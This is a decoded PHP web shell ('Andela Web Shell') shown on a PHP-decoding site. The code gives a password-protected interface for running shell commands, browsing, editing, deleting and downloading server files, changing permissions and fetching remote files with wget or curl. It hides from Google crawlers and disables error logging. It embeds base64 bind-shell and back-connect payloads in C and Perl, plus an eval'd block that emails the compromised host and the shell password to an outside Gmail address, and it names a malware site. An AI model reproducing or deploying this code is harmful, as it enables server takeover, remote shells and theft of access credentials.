Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php /* ########################################### ## Andela Web Shell ..
Decoded Output download
$color = "#00ff00";
$default_action = 'FilesMan';
@define('SELF_PATH', __FILE__);
if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) {
header('HTTP/1.0 404 Not Found');
exit;
}
@session_start();
@error_reporting(0);
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('html_errors',0);
@ini_set('max_execution_time',0);
@ini_set('output_buffering',0);
@ini_set('display_errors', 0);
@ini_set('file_uploads',1);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@clearstatcache();
@define('VERSION', '2.1');
if( get_magic_quotes_gpc() ) {
function stripslashes_array($array) {
return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
}
$_POST = stripslashes_array($_POST);
}
function printLogin() {
?><body><style>body{background-color:transparan;background:#000;background-image:url("http://2.bp.blogspot.com/_GSyAFFow-AM/THfDO1y5Y9I/AAAAAAAAADA/VUHnE1lrX9w/s1600/lorong-hitam.jpg");background-position:center;background-attachment:fixed;background-repeat:no-repeat;}.tabnez{margin:30px auto 0 auto;border:1px solid Deepskyblue;color:Deepskyblue;-moz-border-radius:5px;-webkit-border-radius:5px;-khtml-border-radius:5px;border-radius:5px;}body,td,th{font-family:Verdana;font-size:12px;color:Deepskyblue;font-weight:bold;}input{BORDER-RIGHT:Deepskyblue 1px solid;BORDER-TOP:Deepskyblue 1px solid;BORDER-LEFT:Deepskyblue 1px solid;BORDER-BOTTOM:Deepskyblue 1px solid;BACKGROUND-COLOR:black;COLOR:Deepskyblue;font:8pt Verdana;}</style>
<center><br><br><table class=tabnez>
<form method=post><img src='http://i.imgur.com/S2Ojys8.png' height='130' width='500'><br>
<input type=password name=pass>
</form></table></center>
<script type="text/javascript">
//<![CDATA[
try{if (!window.CloudFlare) {var CloudFlare=[{verbose:0,p:0,byc:0,owlid:"cf",bag2:1,mirage2:0,oracle:0,paths:{cloudflare:"/cdn-cgi/nexp/dok2v=1613a3a185/"},atok:"b8e286eda9cdf0a6431772aeb3902c04",petok:"d5918e6a1f0bfcb738e5d0f3416845b4ab609823-1417073950-7200",zone:"seucinemaemcasa.com",rocket:"a",apps:{}}];document.write('<script type="text/javascript" src="//ajax.cloudflare.com/cdn-cgi/nexp/dok2v=919620257c/cloudflare.min.js"><'+'\/script>');}}catch(e){};
//]]>
</script>
</body>
<?php
exit;
}
if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))
if( empty( $auth_pass ) ||
( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass ) ) )
$_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
else
printLogin();
if(isset($_GET['dl']) && ($_GET['dl'] != "")){
$file = $_GET['dl'];
$filez = @file_get_contents($file);
header("Content-type: application/octet-stream");
header("Content-length: ".strlen($filez));
header("Content-disposition: attachment; filename=\"".basename($file)."\";");
echo $filez;
exit;
}
elseif(isset($_GET['dlgzip']) && ($_GET['dlgzip'] != "")){
$file = $_GET['dlgzip'];
$filez = gzencode(@file_get_contents($file));
header("Content-Type:application/x-gzip
");
header("Content-length: ".strlen($filez));
header("Content-disposition: attachment; filename=\"".basename($file).".gz\";");
echo $filez;
exit;
}
// view image
if(isset($_GET['img'])){
@ob_clean();
$d = magicboom($_GET['y']);
$f = $_GET['img'];
$inf = @getimagesize($d.$f);
$ext = explode($f,".");
$ext = $ext[count($ext)-1];
@header("Content-type: ".$inf["mime"]);
@header("Cache-control: public");
@header("Expires: ".date("r",mktime(0,0,0,1,1,2030)));
@header("Cache-control: max-age=".(60*60*24*7));
@readfile($d.$f);
exit;
}
// server software
$software = getenv("SERVER_SOFTWARE");
// check safemode
if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") $safemode = TRUE; else $safemode = FALSE;
// uname -a
$system = @php_uname();
// mysql
function showstat($stat) {if ($stat=="on") {return "<b><font style='color:white'>ON</font></b>";}else {return "<b><font style='color:#DD4736'>OFF</font></b>";}}
function testmysql() {if (function_exists('mysql_connect')) {return showstat("on");}else {return showstat("off");}}
function testcurl() {if (function_exists('curl_version')) {return showstat("on");}else {return showstat("off");}}
function testwget() {if (exe('wget --help')) {return showstat("on");}else {return showstat("off");}}
function testperl() {if (exe('perl -h')) {return showstat("on");}else {return showstat("off");}}
// check os
if(strtolower(substr($system,0,3)) == "win") $win = TRUE;
else $win = FALSE;
// change directory
if(isset($_GET['y'])){
if(@is_dir($_GET['view'])){
$pwd = $_GET['view'];
@chdir($pwd);
}
else{
$pwd = $_GET['y'];
@chdir($pwd);
}
}
//hdd
function convertByte($s) {
if($s >= 1073741824)
return sprintf('%1.2f',$s / 1073741824 ).' GB';
elseif($s >= 1048576)
return sprintf('%1.2f',$s / 1048576 ) .' MB';
elseif($s >= 1024)
return sprintf('%1.2f',$s / 1024 ) .' KB';
else
return $s .' B';
}
// username, id, shell prompt and working directory
if(!$win){
if(!$user = rapih(exe("whoami"))) $user = "";
if(!$id = rapih(exe("id"))) $id = "";
$prompt = $user." \$ ";
$pwd = @getcwd().DIRECTORY_SEPARATOR;
}
else {
$user = @get_current_user();
$id = $user;
$prompt = $user." >";
$pwd = realpath(".")."\";
// find drive letters
$v = explode("\",$d);
$v = $v[0];
foreach (range("A","Z") as $letter)
{
$bool = @is_dir($letter.":\");
if ($bool)
{
$letters .= "<a href=\"?y=".$letter.":\">[ ";
if ($letter.":" != $v) {$letters .= $letter;}
else {$letters .= "<span class=\"gaya\">".$letter."</span>";}
$letters .= " ]</a> ";
}
}
}
function testoracle() {
if (function_exists('ocilogon')) { return showstat("on"); }
else { return showstat("off"); }
}
function testmssql() {
if (function_exists('mssql_connect')) { return showstat("on"); }
else { return showstat("off"); }
}
function showdisablefunctions() {
if ($disablefunc=@ini_get("disable_functions")){ return "<span style='color:'><font color=#DD4736><b>".$disablefunc."</b></font></span>"; }
else { return "<span style='color:#00FF1E'><b>NONE</b></span>"; }
}
if(function_exists("posix_getpwuid") && function_exists("posix_getgrgid")) $posix = TRUE;
else $posix = FALSE;
// server ip
$server_ip = @gethostbyname($_SERVER["HTTP_HOST"]);
// your ip ;-)
$my_ip = $_SERVER['REMOTE_ADDR'];
$admin_id=$_SERVER['SERVER_ADMIN'];
$bindport = "13123";
$bindport_pass = "b374k";
//server port
$serverport = $_SERVER["SERVER_PORT"];
// separate the working direcotory
$pwds = explode(DIRECTORY_SEPARATOR,$pwd);
$pwdurl = "";
for($i = 0 ; $i < sizeof($pwds)-1 ; $i++){
$pathz = "";
for($j = 0 ; $j <= $i ; $j++){
$pathz .= $pwds[$j].DIRECTORY_SEPARATOR;
}
$pwdurl .= "<a href=\"?y=".$pathz."\">".$pwds[$i]." ".DIRECTORY_SEPARATOR." </a>";
}
// rename file or folder
if(isset($_POST['rename'])){
$old = $_POST['oldname'];
$new = $_POST['newname'];
@rename($pwd.$old,$pwd.$new);
$file = $pwd.$new;
}
if(isset($_POST['chmod'])){
$name = $_POST['name'];
$value = $_POST['newvalue'];
if (strlen($value)==3){
$value = 0 . "" . $value;}
@chmod($pwd.$name,octdec($value));
$file = $pwd.$name;}
if(isset($_POST['chmod_folder'])){
$name = $_POST['name'];
$value = $_POST['newvalue'];
if (strlen($value)==3){
$value = 0 . "" . $value;}
@chmod($pwd.$name,octdec($value));
$file = $pwd.$name;}
// print useful info
$buff = "Software : <b>".$software."</b><br />";
$buff .= "System OS : <b>".$system."</b><br />";
if($id != "") $buff .= "ID : <b>".$id."</b><br />";
$buff .= "PHP Version : <b><font style='color:#ff0000'>".phpversion()."</b></font> on <b>".php_sapi_name()."</b><br />";
$buff .= "Server ip : <b><font style='color:#ff0000'>".$server_ip."</font></b> <span class=\"gaya\"> | </span> Server Port : <b><font style='color:#ff0000'>".$serverport."</font><b> <span class=\"gaya\"> | </span>
Your ip : <b><font style='color:#ff0000'>".$my_ip."</font></b><span class=\"gaya\"> | </span> Admin : <b><font style='color:white'>".$admin_id."</font></b><br />";
$buff .= "Free Disk: "."<span style='color:#00FF1E'><b>".convertByte(disk_free_space("/"))." / ".convertByte(disk_total_space("/"))."</b></span><br />";
if($safemode) $buff .= "Safemode: <span class=\"gaya\"><b><font style='color:#ff0000'>ON</font></b></span><br />";
else $buff .= "Safemode: <span class=\"gaya\"><b><font style='color:red'>OFF</b></font></span><br />";
$buff .=" Time On Server : <b> ".date("d M Y H:i:s",time());
$buff .= "<br> Disabled Functions: ".showdisablefunctions()."<br />";
$buff .= "MySQL: ".testmysql()." | MSSQL: ".testmssql()." | Oracle: ".testoracle()." | Perl: ".testperl()." | cURL: ".testcurl()." | WGet: ".testwget()."<br>";
$buff .= "<font color=00ff00 ><b>".$letters." > ".$pwdurl."</b></font>";
$injbuff = "JHZpc2l0YyA9ICRfQ09PS0lFWyJ2aXNpdHMiXTsNCmlmICgkdmlzaXRjID09ICIiKSB7DQogICR2aXNpdGMgID0gMDsNCiAgJHZpc2l0b3IgPSAkX1NFUlZFUlsiUkVNT1RFX0FERFIiXTsNCiAgJHdlYiAgICAgPSAkX1NFUlZFUlsiSFRUUF9IT1NUIl07DQogICRpbmogICAgID0gJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl07DQogICR0YXJnZXQgID0gcmF3dXJsZGVjb2RlKCR3ZWIuJGluaik7DQogICRqdWR1bCAgID0gIldTTyAyLjcgaHR0cDovLyR0YXJnZXQgYnkgJHZpc2l0b3IiOw0KICAkYm9keSAgICA9ICJCdWc6ICR0YXJnZXQgYnkgJHZpc2l0b3IgLSAkYXV0aF9wYXNzIjsNCiAgaWYgKCFlbXB0eSgkd2ViKSkgeyBAbWFpbCgiaGFyZHdhcmVoZWF2ZW4uY29tQGdtYWlsLmNvbSIsJGp1ZHVsLCRib2R5LCRhdXRoX3Bhc3MpOyB9DQp9DQplbHNlIHsgJHZpc2l0YysrOyB9DQpAc2V0Y29va2llKCJ2aXNpdHoiLCR2aXNpdGMpOw==";
eval(base64_decode($injbuff));
function rapih($text){
return trim(str_replace("<br />","",$text));
}
function magicboom($text){
if (!get_magic_quotes_gpc()) {
return $text;
}
return stripslashes($text);
}
function showdir($pwd,$prompt){
$fname = array();
$dname = array();
if(function_exists("posix_getpwuid") && function_exists("posix_getgrgid")) $posix = TRUE;
else $posix = FALSE;
$user = "????:????";
if($dh = @scandir($pwd)){
foreach($dh as $file){
if(is_dir($file)){
$dname[] = $file;
}
elseif(is_file($file)){
$fname[] = $file;
}
}
}
else{
if($dh = @opendir($pwd)){
while($file = @readdir($dh)){
if(@is_dir($file)){
$dname[] = $file;
}
elseif(@is_file($file)){
$fname[] = $file;
}
}
@closedir($dh);
}
}
sort($fname);
sort($dname);
$path = @explode(DIRECTORY_SEPARATOR,$pwd);
$tree = @sizeof($path);
$parent = "";
$buff = "
<form action=\"?y=".$pwd."&x=shell\" method=\"post\" style=\"margin:8px 0 0 0;\">
<table class=\"cmdbox\" style=\"width:50%;\">
<tr><td><b>$prompt</b></td><td><input onMouseOver=\"this.focus();\" id=\"cmd\" class=\"inputz\" type=\"text\" name=\"cmd\" style=\"width:400px;\" value=\"\" /><input class=\"inputzbut\" type=\"submit\" value=\"Go !\" name=\"submitcmd\" style=\"width:80px;\" /></td></tr>
</form>
<form action=\"?\" method=\"get\" style=\"margin:8px 0 0 0;\">
<input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
<tr><td><b>view file/folder</b></td><td><input onMouseOver=\"this.focus();\" id=\"goto\" class=\"inputz\" type=\"text\" name=\"view\" style=\"width:400px;\" value=\"".$pwd."\" /><input class=\"inputzbut\" type=\"submit\" value=\"View !\" name=\"submitcmd\" style=\"width:80px;\" /></td></tr>
</form></table><table class=\"explore\">
<tr><th>name</th><th style=\"width:80px;\">size</th><th style=\"width:210px;\">owner:group</th><th style=\"width:80px;\">perms</th><th style=\"width:110px;\">modified</th><th style=\"width:190px;\">actions</th></tr>
";
if($tree > 2) for($i=0;$i<$tree-2;$i++) $parent .= $path[$i].DIRECTORY_SEPARATOR;
else $parent = $pwd;
foreach($dname as $folder){
if($folder == ".") {
if(!$win && $posix){
$name=@posix_getpwuid(@fileowner($folder));
$group=@posix_getgrgid(@filegroup($folder));
$owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
}
else {
$owner = $user;
}
$buff .= "<tr><td><a href=\"?y=".$pwd."\">$folder</a></td><td>LINK</td>
<td style=\"text-align:center;\">".$owner."</td><td><center>".get_perms($pwd)."</center></td>
<td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($pwd))."</td><td><span id=\"titik1\">
<a href=\"?y=$pwd&edit=".$pwd."newfile.php\">newfile</a> | <a href=\"javascript:tukar('titik1','titik1_form');\">newfolder</a></span>
<form action=\"?\" method=\"get\" id=\"titik1_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
<input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
<input class=\"inputz\" style=\"width:140px;\" type=\"text\" name=\"mkdir\" value=\"a_new_folder\" />
<input class=\"inputzbut\" type=\"submit\" name=\"rename\" style=\"width:35px;\" value=\"Go !\" />
</form></td>
</tr>
";
}
elseif($folder == "..") {
if(!$win && $posix){
$name=@posix_getpwuid(@fileowner($folder));
$group=@posix_getgrgid(@filegroup($folder));
$owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
}
else {
$owner = $user;
}
$buff .= "<tr><td><a href=\"?y=".$parent."\"><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAAN1gAADdYBkG95nAAAAAd0SU1FB9oJBxUAM0qLz6wAAALLSURBVDjLbVPRS1NRGP+d3btrs7kZmAYXlSZYUK4HQXCREPWUQSSYID1GEKKx/Af25lM+DCFCe4heygcNdIUEST04QW6BjS0yx5UhkW6FEtvOPfc7p4emXcofHPg453y/73e+73cADyzLOoy/bHzR8/l80LbtYD5v6wf72VzOmwLmTe7u7oZlWccbGhpGNJ92HQwtteNvSqmXJOWjM52dPPMpg/Nd5/8SpFIp9Pf3w7KsS4FA4BljrB1HQCmVc4V7O3oh+mFlZQWxWAwskUggkUhgeXk5Fg6HF5mPnWCAAhhTUGCKQUF5eb4LIa729PRknr94/kfBwMDAsXg8/tHv958FoDxP88YeJTLd2xuLAYAPAIaGhu5IKc9yzsE5Z47jYHV19UOpVNoXQsC7OOdwHNG7tLR0EwD0UCis67p2nXMOACiXK7/ev3/3ZHJy8nEymZwyDMM8qExEyjTN9vr6+oAQ4gaAef3ixVgd584pw+DY3d0tTE9Pj6TT6TfBYJCPj4/fBuA/IBBC+GZmZhZbWlrOOY5jDg8Pa3qpVEKlUoHf70cgEGgeHR2NPHgQV4ODt9Ts7KwEQACgaRpSqVdQSrFqtYpqtSpt2wYDYExMTMy3tbVdk1LWpqXebm1t3TdN86mu65FaMw+sE2KM6T9//pgaGxsb1QE4a2trr5uamq55Gn2l+WRzWgihEVH9EX5AJpOZBwANAHK5XKGjo6OvsbHRdF0XRAQpZZ2U0k9EiogYEYGIlJSS2bY9m0wmHwJQWo301/b2diESiVw2jLoQETFyXeWSy4hc5rqHJKxYLGbn5ubuFovF0qECANjf37e/bmzkjDrjdCgUamU+MCIJIgkpiZXLZZnNZhcWFhbubW5ufu7q6sLOzs7/LgPQ3tra2h+NRvvC4fApAHJvb29rfX19qVAovAawd+Rv/Ac+AMcAGLUJVAA4R138DeF+cX+xR/AGAAAAAElFTkSuQmCC'> $folder</a></td><td>LINK</td>
<td style=\"text-align:center;\">".$owner."</td>
<td><center>".get_perms($parent)."</center></td><td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($parent))."</td>
<td><span id=\"titik2\"><a href=\"?y=$pwd&edit=".$parent."newfile.php\">newfile</a> | <a href=\"javascript:tukar('titik2','titik2_form');\">newfolder</a></span>
<form action=\"?\" method=\"get\" id=\"titik2_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
<input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
<input class=\"inputz\" style=\"width:140px;\" type=\"text\" name=\"mkdir\" value=\"a_new_folder\" />
<input class=\"inputzbut\" type=\"submit\" name=\"rename\" style=\"width:35px;\" value=\"Go !\" />
</form>
</td></tr>";
}
else {
if(!$win && $posix){
$name=@posix_getpwuid(@fileowner($folder));
$group=@posix_getgrgid(@filegroup($folder));
$owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
}
else {
$owner = $user;
}
$buff .= "<tr><td><a id=\"".clearspace($folder)."_link\" href=\"?y=".$pwd.$folder.DIRECTORY_SEPARATOR."\"><b><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAQAAAC1+jfqAAAAAXNSR0IArs4c6QAAAAJiS0dEAP+Hj8y/AAAACXBIWXMAAAsTAAALEwEAmpwYAAAA00lEQVQoz6WRvUpDURCEvzmuwR8s8gr2ETvtLSRaKj6ArZU+VVAEwSqvJIhIwiX33nPO2IgayK2cbtmZWT4W/iv9HeacA697NQRY281Fr0du1hJPt90D+xgc6fnwXjC79JWyQdiTfOrf4nk/jZf0cVenIpEQImGjQsVod2cryvH4TEZC30kLjME+KUdRl24ZDQBkryIvtOJggLGri+hbdXgd90e9++hz6rR5jYtzZKsIDzhwFDTQDzZEsTz8CRO5pmVqB240ucRbM7kejTcalBfvn195EV+EajF1hgAAAABJRU5ErkJggg==' /> [ $folder ]</b></a>
<form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($folder)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
<input type=\"hidden\" name=\"oldname\" value=\"".$folder."\" style=\"margin:0;padding:0;\" />
<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"".$folder."\" />
<input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" />
<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".clearspace($folder)."_form','".clearspace($folder)."_link');\" />
</form><td>DIR</td><td style=\"text-align:center;\">".$owner."</td>
<td><center>
<a href=\"javascript:tukar('".clearspace($folder)."_link','".clearspace($folder)."_form3');\">".get_perms($pwd.$folder)."</a>
<form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($folder)."_form3\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
<input type=\"hidden\" name=\"name\" value=\"".$folder."\" style=\"margin:0;padding:0;\" />
<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newvalue\" value=\"".substr(sprintf('%o', fileperms($pwd.$folder)), -4)."\" />
<input class=\"inputzbut\" type=\"submit\" name=\"chmod_folder\" value=\"chmod\" />
<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\"
onclick=\"tukar('".clearspace($folder)."_link','".clearspace($folder)."_form3');\" /></form></center></td>
<td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($folder))."</td><td><a href=\"javascript:tukar('".clearspace($folder)."_link','".clearspace($folder)."_form');\">rename</a> | <a href=\"?y=$pwd&fdelete=".$pwd.$folder."\">delete</a></td></tr>";
}
}
foreach($fname as $file){
$full = $pwd.$file;
if(!$win && $posix){
$name=@posix_getpwuid(@fileowner($folder));
$group=@posix_getgrgid(@filegroup($folder));
$owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
}
else {
$owner = $user;
}
$buff .= "<tr><td><a id=\"".clearspace($file)."_link\" href=\"?y=$pwd&view=$full\"><b><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII=' /> $file</b></a>
<form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($file)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
<input type=\"hidden\" name=\"oldname\" value=\"".$file."\" style=\"margin:0;padding:0;\" />
<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"".$file."\" />
<input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" />
<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".clearspace($file)."_link','".clearspace($file)."_form');\" />
</form></td><td>".ukuran($full)."</td><td style=\"text-align:center;\">".$owner."</td><td><center>
<a href=\"javascript:tukar('".clearspace($file)."_link','".clearspace($file)."_form2');\">".get_perms($full)."</a>
<form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($file)."_form2\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
<input type=\"hidden\" name=\"name\" value=\"".$file."\" style=\"margin:0;padding:0;\" />
<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newvalue\" value=\"".substr(sprintf('%o', fileperms($full)), -4)."\" />
<input class=\"inputzbut\" type=\"submit\" name=\"chmod\" value=\"chmod\" />
<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".clearspace($file)."_link','".clearspace($file)."_form2');\" /></form></center></td>
<td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($full))."</td>
<td><a href=\"?y=$pwd&edit=$full\">edit</a> | <a href=\"javascript:tukar('".clearspace($file)."_link','".clearspace($file)."_form');\">rename</a> | <a href=\"?y=$pwd&delete=$full\">delete</a> | <a href=\"?y=$pwd&dl=$full\">download</a> (<a href=\"?y=$pwd&dlgzip=$full\">gzip</a>)</td></tr>";
}
$buff .= "</table>";
return $buff;
}
function ukuran($file){
if($size = @filesize($file)){
if($size <= 1024) return $size;
else{
if($size <= 1024*1024) {
$size = @round($size / 1024,2);;
return "$size kb";
}
else {
$size = @round($size / 1024 / 1024,2);
return "$size mb";
}
}
}
else return "???";
}
function exe($cmd){
if(function_exists('system')) {
@ob_start();
@system($cmd);
$buff = @ob_get_contents();
@ob_end_clean();
return $buff;
}
elseif(function_exists('exec')) {
@exec($cmd,$results);
$buff = "";
foreach($results as $result){
$buff .= $result;
}
return $buff;
}
elseif(function_exists('passthru')) {
@ob_start();
@passthru($cmd);
$buff = @ob_get_contents();
@ob_end_clean();
return $buff;
}
elseif(function_exists('shell_exec')){
$buff = @shell_exec($cmd);
return $buff;
}
}
function tulis($file,$text){
$textz = gzinflate(base64_decode($text));
if($filez = @fopen($file,"w"))
{
@fputs($filez,$textz);
@fclose($file);
}
}
function ambil($link,$file) {
if($fp = @fopen($link,"r")){
while(!feof($fp)) {
$cont.= @fread($fp,1024);
}
@fclose($fp);
$fp2 = @fopen($file,"w");
@fwrite($fp2,$cont);
@fclose($fp2);
}
}
function which($pr){
$path = exe("which $pr");
if(!empty($path)) { return trim($path); } else { return trim($pr); }
}
function download($cmd,$url){
$namafile = basename($url);
switch($cmd) {
case 'wwget': exe(which('wget')." ".$url." -O ".$namafile);break;
case 'wlynx': exe(which('lynx')." -source ".$url." > ".$namafile);break;
case 'wfread' : ambil($wurl,$namafile);break;
case 'wfetch' : exe(which('fetch')." -o ".$namafile." -p ".$url);break;
case 'wlinks' : exe(which('links')." -source ".$url." > ".$namafile);break;
case 'wget' : exe(which('GET')." ".$url." > ".$namafile);break;
case 'wcurl' : exe(which('curl')." ".$url." -o ".$namafile);break;
default: break;
}
return $namafile;
}
function get_perms($file)
{
if($mode=@fileperms($file)){
$perms='';
$perms .= ($mode & 00400) ? 'r' : '-';
$perms .= ($mode & 00200) ? 'w' : '-';
$perms .= ($mode & 00100) ? 'x' : '-';
$perms .= ($mode & 00040) ? 'r' : '-';
$perms .= ($mode & 00020) ? 'w' : '-';
$perms .= ($mode & 00010) ? 'x' : '-';
$perms .= ($mode & 00004) ? 'r' : '-';
$perms .= ($mode & 00002) ? 'w' : '-';
$perms .= ($mode & 00001) ? 'x' : '-';
return $perms;
}
else return "??????????";
}
function clearspace($text){
return str_replace(" ","_",$text);
}
// net tools
$port_bind_bd_c="bVNhb9owEP2OxH+4phI4NINAN00aYxJaW6maxqbSLxNDKDiXxiLYkW3KGOp/3zlOpo7xIY793jvf
+fl8KSQvdinCR2NTofr5p3br8hWmhXw6BQ9mYA8lmjO4UXyD9oSQaAV9AyFPCNRa+pRCWtgmQrJE
P/GIhufQg249brd4nmjo9RxBqyNAuwWOdvmyNAKJ+ywlBirhepctruOlW9MJdtzrkjTVKyFB41ZZ
dKTIWKb0hoUwmUAcwtFt6+m+EXKVJVtRHGAC07vV/ez2cfwvXSpticytkoYlVglX/fNiuAzDE6VL
3TfVrw4o2P1senPzsJrOfoRjl9cfhWjvIatzRvNvn7+s5o8Pt9OvURzWZV94dQgleag0C3wQVKug
Uq2FTFnjDzvxAXphx9cXQfxr6PcthLEo/8a8q8B9LgpkQ7oOgKMbvNeThHMsbSOO69IA0l05YpXk
HDT8HxrV0F4LizUWfE+M2SudfgiiYbONxiStebrgyIjfqDJG07AWiAzYBc9LivU3MVpGFV2x1J4W
tyxAnivYY8HVFsEqWF+/f7sBk2NRQKcDA/JtsE5MDm9EUG+MhcFqkpX0HmxGbqbkdBTMldaHRsUL
ZeoDeOSFBvpefCfXhflOpgTkvJ+jtKiR7vLohYKCqS2ZmMRj4Z5gQZfSiMbi6iqkdnHarEEXYuk6
uPtTdumsr0HC4q5rrzNifV7sC3ZWUmq+LVlVa5OfQjTanZYQO+Uf";
$port_bind_bd_pl="ZZJhT8IwEIa/k/AfjklgS2aA+BFmJDB1cW5kHSZGzTK2Qxpmu2wlYoD/bruBIfitd33uvXuvvWr1
NmXRW1DWy7HImo02ebRd19Kq1CIuV3BNtWGzQZeg342DhxcYwcCAHeCWCn1gDOEgi1yHhLYXzfwg
tNqKeut/yKJNiUB4skYhg3ZecMETnlmfKKrz4ofFX6h3RZJ3DUmUFaoTszO7jxzPDs0O8SdPEQkD
e/xs/gkYsN9DShG0ScwEJAXGAqGufmdq2hKFCnmu1IjvRkpH6hE/Cuw5scfTaWAOVE9pM5WMouM0
LSLK9HM3puMpNhp7r8ZFW54jg5wXx5YZLQUyKXVzwdUXZ+T3imYoV9ds7JqNOElQTjnxPc8kRrVo
vaW3c5paS16sjZo6qTEuQKU1UO/RSnFJGaagcFVbjUTCqeOZ2qijNLWzrD8PTe32X9oOgvM0bjGB
+hecfOQFlT4UcLSkmI1ceY3VrpKMy9dWUCVCBfTlQX6Owy8=";
$back_connect="fZFRS8MwFIXfB/sPWSw2hUrnqyPC0CpD3KStvqh0XRpcsE1KkoKF/XiTtCIV6tu55+Z89yY5W0St
ktGB8aihsprPWkVBKsgn1av5zCN1iQGsOv4Fbak6pWmNgU/JUQC4b3lRU3BR7OFqcFhptMOpo28j
S2whVulCflCNvXVy//K6fLdWI+SPcekMVpSlxIxTnRdacDSEAnA6gZJRBGMphbwC3uKNw8AhXEKZ
ja3ImclYagh61n9JKbTAhu7EobN3Qb4mjW/byr0BSnc3D3EWgqe7fLO1whp5miXx+tHMcNHpGURw
Tskvpd92+rxoKEdpdrvZhgBen/exUWf3nE214iT52+r/Cw3/5jaqhKL9iFFpuKPawILVNw==";
$back_connect_c="XVHbagIxEH0X/IdhhZLUWF1f1YKIBelFqfZJliUm2W7obiJJLLWl/94k29rWhyEzc+Z2TjpSserA
BYyt41JfldftVuc3d7R9q9mLcGeAEk5660sVAakc1FQqFBxqnhkBVlIDl95/3Wa43fpotyCABR95
zzpzYA7CaMq5yaUCK1VAYpup7XaYZpPE1NArIBmBRzgVtVYoJQMcR/jV3vKC1rI6wgSmN/niYb75
i+21cR4pnVYWUaclivcMM/xvRDjhysbHVwde0W+K0wzH9bt3YfRPingClVCnim7a/ZuJC0JTwf3A
RkD0fR+B9XJ2m683j/PpPYHFavW43CzzzWyFIfbIAhBiWinBHCo4AXSmFlxiuPB3E0/gXejiHMcY
jwcYguIAe2GMNijZ9jL4GYqTSB9AvEmHGjk/m19h1CGvPoHIY5A1Oh2tE3XIe1bxKw77YTyt6T2F
6f9wGEPxJliFkv5Oqr4tE5LYEnoyIfDwdHcXK1ilrfAdUbPPLw==";
// Malware Site
$malsite = "http://fightagent.ru";
